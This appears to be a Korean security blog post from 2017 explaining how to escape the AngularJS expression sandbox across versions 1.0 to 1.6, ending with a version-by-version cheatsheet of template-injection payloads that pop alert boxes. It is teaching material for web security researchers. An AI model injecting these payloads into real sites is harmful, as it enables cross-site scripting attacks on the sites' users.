7/13/2017

[WEB HACKING] AngularJS sandbox(DOM based) escape technique

AngularJS는 웹 상에서 많이 사용되는 개발 프레임워크입니다. 이런 프레임워크에는 당연히 보안 로직, 정책이 들어가게되죠. 그 중에 대표적인 것은 바로 SandBox 입니다.

Sandbox 로 인해 우리는 성공한 공격이 영향력이 없어지는 진귀한 광경을 목격하게되죠.

많은 해커들은 버전별로 AngularJS sandbox를 우회하려 하였고 덕분에 각 버전별로 여러 사람이 만든 우회 루틴이 존재합니다.

Angular에서 sandbox 는 1.1.5 버전 이후로부터 적용되었고 sandbox, 즉 Angular Expression으로 인해 로컬영역으로 묶인 sandbox 밖에서 함수 호출이 실패하게 됩니다. 자주 사용하는 DOM 기반의 XSS에 영향을 줄 수 있는 부분이죠.

오늘은 AngularJS에 적용된 sandbox를 우회하는 방법들에 대해 이야기할까 합니다.



다만 Constructor 속성을 활용한다면 이야기가 달라집니다.

Constructor

constructor는 문자열에서 함수를 생성하고 실행할 수 있는 Function 생성자입니다.
새로운 Object를 선언하면 Constructor에 의해 생성이


아래 코드로 보면 String인 alrt(45) 가 함수 형태로 생성되어 실행되는 걸 알 수 있죠.

{{constructor.constructor('alert(45)')()}}

마치 ActionScript의 EternalInterface.call() 과 비슷한 역할이죠.

Escape Sandbox of AngularJS 1.6

이전 버전과는 다르게 오히려 최신버전에서는 아주 간단하게 우회가 가능합니다. 위에서 방금 이야기드린 constructor의 성격으로 인해 Sandbox 외부에서 함수 실행이 가능합니다.

constructor에도 생성자가 있습니다. 해당 생성자는 sandbox를 넘어섭니다.

constructor.constructor('alert(45)')()
그래서 위에 보여드렸던 코드로 쉽게 sandbox 우회가 가능합니다. 너무 간단해서.. 더 설명드릴게 없네요.
그럼 이전에는 어떤 방식으로 풀어나갔었는지 한번 볼까요?

Escape Sandbox of AngularJS 1.2

Angular에 적용된 초기버전의 sandbox는 ensureSafeMemberName() 함수를 통해 구현되었고 이 함수는 Javascript 속성에 위에서 말한 생성자(constructor)가 있는지 검사하는 로직을 가집니다.

function ensureSafeMemberName(name, fullExpression, allowConstructor) {
 if(name === "constructor" && !allowConstructor) {
   throw …
 }
 if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
   throw …
 }
 return name;
}
초기의 우회루틴은 아래와 같은 형태로 이루어졌습니다.

{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(45)')()
}}
임의의 변수에 constructor 라는 문자열 값을 저장한 후 Object를 이용하여 constructor를 불러오고 인자값으로 실제 실행할 함수 이름과 값을 넘겨 실행합니다.

typeof(a.sub.call.call)
"function"


getOwnPropertyDescriptor
 -> 객체 내 자신의 속성에 대한 descriptor를 반환

getPrototypeOf
 -> 객체의 [[Prototype]] 값을 반환

간단하게 요약하자면.. name의 문자열로 필터링을 하니 필터링 다른 변수에 속성값을 저장하고 로드해서 사용하는 식으로 우회된 케이스이지요. 물론 현재 이 방법은 패치가 되어있습니다. 1.2 버전 이하에서만 영향력이 있죠.

다만 우리는 우회했던 방법에 대해선 잘 파악해둬야합니다.

Escape Sandbox of AngularJS 1.4

여러 버전으로 업데이트 되면서 로직에 변화가 생기고 새로운 함수들이 나타났습니다.
1.4 버전에선 __proto__ 와 __defineSetter__ 를 통해 Sandbox 우회가 가능합니다.

__proto__는 Safari, IE11에서 전역 선언이 가능해집니다. sandbox는 지역선언이 된 object를 해당 지역 이외로 나가지 못하도록(정확히는 나가면 실행이 되지 않게 함) 하지만 기능으로 전역 사용이 가능한 것이 나오고 말았죠.

해커들은 이를 놓치지 않았습니다. __proto__ 를 이용해서 전역변수와 같이 해당 area 이외 구간으로 넘어갈 수 있으니 쉽게 Bypass가 가능합니다.

기존


{
  false.__proto__.hwul=Function;
  if(!false)false.hwul('alert(tata)')();
}
__proto__ 내 임의의 영역(코드에선 hwul)에 Function 을 집어넣고 x를 호출하여 익명함수로 만듭니다.

#> false.hwul
function Function() { [native code] }


#> false.hwul('alert(45)');
function anonymous() {
alert(45)
}

함수 형태로 넘겨주면.. 실행이 되니깐 정상적으로 alert() 함수가 실행됩니다. 물론 전역으로요.

#> false.hwul('alert(45)')();
undefined

Firefox 51에선 __lookupGetter__ 를 통해서 함수의 호출자를 얻을 수 있습니다. 이땐 Firefox만 가능했던 기능이죠.

위와 비슷한 맥락으로 __lookupGetter__ 를 이용해 함수 호출자를 얻은 후 location 을 javascript 구문으로 바꾸어 상위 영역에서 함수를 호출합니다.

o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(45)';
이런식으로 Javascript단에서의 SandBox 탈출이 가능하죠. (Angular 기준)

AngularJS Sandbox Escape cheatsheet


1.0.1 - 1.1.5 == works
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);

1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");

1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
   !call
   ? $$watchers[0].get(toString.constructor.prototype)
   : (a = apply) &&
   (apply = constructor) &&
   (valueOf = call) &&
   (''+''.toString(
   'F = Function.prototype;' +
   'F.apply = F.a;' +
   'delete F.a;' +
   'delete F.valueOf;' +
   'alert(1);'
  ))
);

1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//'); 

1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')()

Reference

http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html
https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
https://muckycode.blogspot.kr/2015/04/javascript-constructor.html


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

0 개의 댓글:

Post a Comment